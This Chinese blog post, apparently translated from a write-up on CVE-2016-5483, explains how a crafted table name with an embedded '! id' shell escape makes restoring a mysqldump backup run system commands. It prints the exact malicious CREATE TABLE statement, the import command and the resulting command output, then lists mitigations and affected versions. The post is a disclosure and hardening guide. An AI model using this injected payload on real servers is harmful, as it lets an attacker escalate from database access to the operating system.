[安全] mysqldump 备份的后门

时间:2022-05-07
本文章向大家介绍[安全] mysqldump 备份的后门,主要内容包括1. 简介、2. 实验、过程、3. 弥补方法、4. 小结、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

1. 简介

mysqldump 是备份 MySQL 数据库的常用工具,其中会包含 创建表、删除表、插入数据 这些数据库操作的语句

而黑客可能会利用 mysqldump 来黑掉你的系统,在 dump 文件被导入时就会执行黑客设置好的 SQL 语句或者 shell 命令

2. 实验

场景假设

1)黑客已经获得了应用的访问权,可以执行任意的 SQL,例如你使用了 Wordpress 等开源系统,就很有可能被黑客搞定

2)黑客具有 CREATE TABLE 权限,这也不难,很多开源系统的安装教程中都不会注意这点,可能其中某个步骤就是让你执行

GRANT ALL PRIVILEGES ON wordpress.*

3)使用 mysqldump 进行常规备份

4)黑客想要提升他们的权限,进而可以访问操作系统

过程

首先创建一个恶意表

CREATE TABLE `evil  
! id
select user(),@@version/*`  (test text);  

之后使用 mysqldump 备份数据库

在正常情况下,dump 文件中应该是这样的结构

--
-- Table structure for table `tablename`
--

而现在则会变成这样

--
-- Table structure for table `evil
! id
select user(),@@version/*`  
--

然后使用 dump 文件导入数据库

mysql test < test.dump

输出信息:

uid=1000(mysql5.7) gid=1000(mysql5.7) 组=1000(mysql5.7)
user()  @@version
root@localhost  5.7.17-log

可以看到,已经成功执行了系统命令

3. 弥补方法

  • 使用 mysqldump 时设置 --skip-comments
  • 撤回建表权限
  • 尽量只 dump 表数据

这个问题比较普遍,需要注意,涉及的数据库包括:

数据库

版本

MySQL

所有版本

MariaDB

<= 5.5.52 且 < 10.1

Percona

所有版本

4. 小结

本文翻译整理自

https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-backups

这个安全点对我很有价值,我的 mysqldump 就没有设置忽略注释,需要补上,所以写出来供有同类问题的小伙伴们参考